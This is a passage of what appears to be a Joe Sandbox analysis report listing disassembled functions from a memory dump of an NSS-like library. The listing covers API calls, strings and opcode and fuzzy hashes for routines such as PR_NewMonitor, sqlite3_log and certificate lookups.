Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 91aa8b2086f106ea7273d9933c0ab40d77c37dc4caac054263d8d84decde356b
Instruction ID: 926bfe59e586d100c7a5924df147decfcfee9a8d03b2dd7cb09127a1f3562b34
Opcode Fuzzy Hash: 91aa8b2086f106ea7273d9933c0ab40d77c37dc4caac054263d8d84decde356b
Instruction Fuzzy Hash: 150175B2500645AFDA01ABF4DC4485B77B9FE497793080529E91943A00D736F897DBE1

Function 6CB26840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CB2AA9B,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB26846

Part of subcall function 6CA81770: calloc.MOZGLUE(00000001,0000019C,?,6CA815C2,?,?,?,?,?,00000001,00000040), ref: 6CA8178D

PR_NewMonitor.NSS3(00000000,?,6CB2AA9B,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB26855

Part of subcall function 6CAE8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CA955D0,00000000,00000000), ref: 6CAE868B
Part of subcall function 6CAE8680: PR_NewLock.NSS3(00000000,00000000), ref: 6CAE86A0
Part of subcall function 6CAE8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CAE86B2
Part of subcall function 6CAE8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CAE86C8
Part of subcall function 6CAE8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CAE86E2
Part of subcall function 6CAE8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CAE86EC
Part of subcall function 6CAE8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CAE8700

PR_NewMonitor.NSS3(?,6CB2AA9B,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB2687D

Part of subcall function 6CA81770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CA818DE
Part of subcall function 6CA81770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CA818F1

PR_NewMonitor.NSS3(?,6CB2AA9B,?,?,?,?,?,?,?,00000000,?,6CB280C1), ref: 6CB2688C

Part of subcall function 6CA81770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CA818FC
Part of subcall function 6CA81770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CA8198A

PR_NewLock.NSS3 ref: 6CB268A5

Part of subcall function 6CB598D0: calloc.MOZGLUE(00000001,00000084,6CA80936,00000001,?,6CA8102C), ref: 6CB598E5

PR_NewLock.NSS3 ref: 6CB268B4

Part of subcall function 6CB598D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CB59946
Part of subcall function 6CB598D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA116B7,00000000), ref: 6CB5994E
Part of subcall function 6CB598D0: free.MOZGLUE(00000000), ref: 6CB5995E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 62eab3aa13c3c8ea8808dfbabb6d269d797b13f5fe3c91e8e8c71c791f002aa8
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 7A014BB0A02B4747EB556F7548103FB76E4DF0128AF50093E846DCAA80FF34D40C8BA2

Function 6CA7AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA7AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6CA7AF5C
misuse, xrefs: 6CA7AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA7AFC4
%s at line %d of [%.10s], xrefs: 6CA7AFD3

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 51977f54b4843a4852d597e0d283da20989f5b1cba62cb2f524840cc954032a9
Instruction ID: 9bc6a2ac496cf69b2238c80ecf327973d97031e8ce6b51278b9f076225aef3f9
Opcode Fuzzy Hash: 51977f54b4843a4852d597e0d283da20989f5b1cba62cb2f524840cc954032a9
Instruction Fuzzy Hash: B691D1B9B002159FDB14CF69C854AAEB7F2BF45314F1985A8E865ABB91C334EC41CB70

Function 6CA1E4C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108D2,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1E53A
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000108BD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1E5BC

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1E525, 6CA1E596, 6CA1E5A7
%s at line %d of [%.10s], xrefs: 6CA1E534, 6CA1E5B6
database corruption, xrefs: 6CA1E52F, 6CA1E5B1

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 43bb652488d292da7e6ffccbdd1ab0b20bb7e1281845d8ed7ff5ea8552141e37
Instruction ID: 356b40e9c2a33ce18d0ecc64c6448ca57b438cb2a8274416b93560e64fde4773
Opcode Fuzzy Hash: 43bb652488d292da7e6ffccbdd1ab0b20bb7e1281845d8ed7ff5ea8552141e37
Instruction Fuzzy Hash: 623167347047259BC311CEADC8849ABB3B4EB45334B68097DE848A7F45F3A4E889C7E0

Function 6CAA4B00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CAA4B66
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CAA4B7D
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CAA4B97
PORT_ZAlloc_Util.NSS3(00000018), ref: 6CAA4BB7

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

Strings

, xrefs: 6CAA4B8A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: AlgorithmPolicy$Alloc_ErrorUtilValuecalloc
String ID:
API String ID: 4087055539-3916222277
Opcode ID: 0d44fa5d2d7d82412cf6cbc80163f5ce01c8b4b4a6947e117ea630fed0c1f17d
Instruction ID: 3c7af08680ff43f2f6eadbf3dd3dfdb7aae89ce21626e1a0a27d35990b665fb6
Opcode Fuzzy Hash: 0d44fa5d2d7d82412cf6cbc80163f5ce01c8b4b4a6947e117ea630fed0c1f17d
Instruction Fuzzy Hash: 9C210B71D002495BDF10CAD5DD41BAFB7B49F4031CF180225F92997A91EB31959AC7A2

Function 6CB6A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CA37915,?,?), ref: 6CB6A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CA37915,?,?), ref: 6CB6A8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB6A891
%s at line %d of [%.10s], xrefs: 6CB6A8A0
database corruption, xrefs: 6CB6A89B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 121b33bfcd98d7432febcb04a0d898a14ad56ad2efc61d639aefc8bde3c64276
Instruction ID: 5c773299d40edc63fa7268048dc4b984f05ab5eaa13072c4a594a27628c0795f
Opcode Fuzzy Hash: 121b33bfcd98d7432febcb04a0d898a14ad56ad2efc61d639aefc8bde3c64276
Instruction Fuzzy Hash: 59112C75A00154ABDB048F11DC51A6EB7A9FF48364F004039FC154BF41E730E956CF92

Function 6CACCAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CAAB1EE,D958E836,?,6CAE51C5), ref: 6CACCAFA
PR_UnloadLibrary.NSS3(?,6CAE51C5), ref: 6CACCB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CAAB1EE,D958E836,?,6CAE51C5), ref: 6CACCB2C
PR_UnloadLibrary.NSS3(6CAE51C5), ref: 6CACCB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6CACCAF5, 6CACCB27

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: 83d501da985b33e7d3f020e0b6273af0d66142938385a279c90585e57a03448f
Instruction ID: bb658d0f5f419ed56925c82516794f6f6e50b6e093104b36a7f6efbd97645e12
Opcode Fuzzy Hash: 83d501da985b33e7d3f020e0b6273af0d66142938385a279c90585e57a03448f
Instruction Fuzzy Hash: 0711BEF5B016559FDB08FBA9E908752B2B4BB01B5CF09412AD42583E40E7B0E4D8CBD7

Function 6CA80DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CA80BDE), ref: 6CA80DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CA80BDE), ref: 6CA80DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CA80BDE), ref: 6CA80DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CA80BDE), ref: 6CA80E32

Strings

%s incr => %d (find lib), xrefs: 6CA80E2D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: dc074e138a55c7e3e3215bb24185b21ed30ba1a8f1dab95a91e97e2cce7471ff
Instruction ID: c2ab2f7539226c7d82b44ef8b4d864265e8adc65b756335c69ea7dba70a89335
Opcode Fuzzy Hash: dc074e138a55c7e3e3215bb24185b21ed30ba1a8f1dab95a91e97e2cce7471ff
Instruction Fuzzy Hash: C0012472B02290AFE7209F64EC45E1B73BCEB45A09B09482DE949D3B41E761FC5986E1

Function 6CA12940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CA11360,00000000), ref: 6CA12A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6CA11360,00000000), ref: 6CA12A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CA12A7C

Part of subcall function 6CA12D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,384753FC,?,?,00000000,?,6CA1296E), ref: 6CA12DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA12AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6CA11360,00000000), ref: 6CA12B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6CA12B90

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 5d50cd4ae0d91490c9f5b6df5fed64e14327d1e099463b1cd3957c3b4a0ee00f
Instruction ID: 1addb1983794ad4088201abb82c3235a9fb504376e22f9206176f3bac3c3b6cb
Opcode Fuzzy Hash: 5d50cd4ae0d91490c9f5b6df5fed64e14327d1e099463b1cd3957c3b4a0ee00f
Instruction Fuzzy Hash: F5C1B471F082068BEB04CF69C8947AEB7B5BF8A314F198329D9159BB41D730E985CBD1

Function 6CAACB60 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE041,00000000,?,?,?,?,00000000,?,00000000,?,6CAB57DF,00000000,?,00000002,6CAB5840,?), ref: 6CAACBB5
TlsGetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,6CAB57DF,00000000,?,00000002,6CAB5840,?), ref: 6CAACC4A
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,?,00000000,?,00000000,?,6CAB57DF,00000000,?,00000002,6CAB5840), ref: 6CAACC5E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAACC98
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAACD50

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 7d3f9f90e8e8c7f0303b4777e0dba315e02dd53b75e3d2401cc99712037cbc22
Instruction ID: bf361679b078dcbe12e7623e4fd15671238fd23759a6baa3cbfa6db109839951
Opcode Fuzzy Hash: 7d3f9f90e8e8c7f0303b4777e0dba315e02dd53b75e3d2401cc99712037cbc22
Instruction Fuzzy Hash: C491B875E01218AFEB00DFE8E981A9EB7B5FF09318F180125E815E7711D732E956CB91

Function 6CA2A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d55f715c97818f397e8102a72de201600229d21fde54154e8921eb33e7df8e60
Instruction ID: f401d5aa2f7071c3285b1696181ec1584d9da617e95160ecebaa2196648d0892
Opcode Fuzzy Hash: d55f715c97818f397e8102a72de201600229d21fde54154e8921eb33e7df8e60
Instruction Fuzzy Hash: 8F91C4717002148FEB08DFB9E995B6A37BABF0A704F0C052DE51687B41DB38AD85CB91

Function 6CA98B50 Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3 ref: 6CA98B5C
CERT_DecodeAVAValue.NSS3 ref: 6CA98B67

Part of subcall function 6CA98E00: PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA98EED
Part of subcall function 6CA98E00: SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBC18D0,?), ref: 6CA98F03
Part of subcall function 6CA98E00: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA98F19
Part of subcall function 6CA98E00: PL_FreeArenaPool.NSS3(?), ref: 6CA98F2B

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA98D5C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA98D6B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA98D76

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Item_Util$Decode$ArenaPoolValueZfree$CallCompareFreeInitOnceQuick
String ID:
API String ID: 185717074-0
Opcode ID: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction ID: 9fcfeae76795a97ff9bbc51c07ee9e095524461811b8f752844e10130329a3b7
Opcode Fuzzy Hash: 0b2f8dd38a6241c10cbb34373fa26296834094dbcb1128f17eabedd40295e484
Instruction Fuzzy Hash: 73713671F156298FDB208A5988917AEB7F1EB49325F1D422BD824EB7D1D3389C81C7D0

Function 6CAAC9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CAACA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAACA35
PR_Unlock.NSS3(00000000), ref: 6CAACA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CAACA77
PR_Unlock.NSS3(00000000), ref: 6CAACAFC

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 51eb337abed13cd560dee00266f5e1e3fd58213ccce4ed56b7c040c51c4532d0
Instruction ID: b05cc393867798b181b9c61b2f710b2ef23aed5bfb12294d28e9fb9ef5e8b5d8
Opcode Fuzzy Hash: 51eb337abed13cd560dee00266f5e1e3fd58213ccce4ed56b7c040c51c4532d0
Instruction Fuzzy Hash: E341E175A002199BEB00EFA8D941BBB7BB5EF45388F184024ED1897701EB32E956CBD1

Function 6CB04A00 Relevance: 7.6, APIs: 5, Instructions: 126threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CB04A8D
CERT_SaveSMimeProfile.NSS3(00000000,00000000,00000000), ref: 6CB04B01
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB04B12
PR_SetError.NSS3(?,00000000), ref: 6CB04B1F
CERT_FindCertByIssuerAndSN.NSS3(?,?), ref: 6CB04B35

Part of subcall function 6CB004A0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,00000000), ref: 6CB004B9
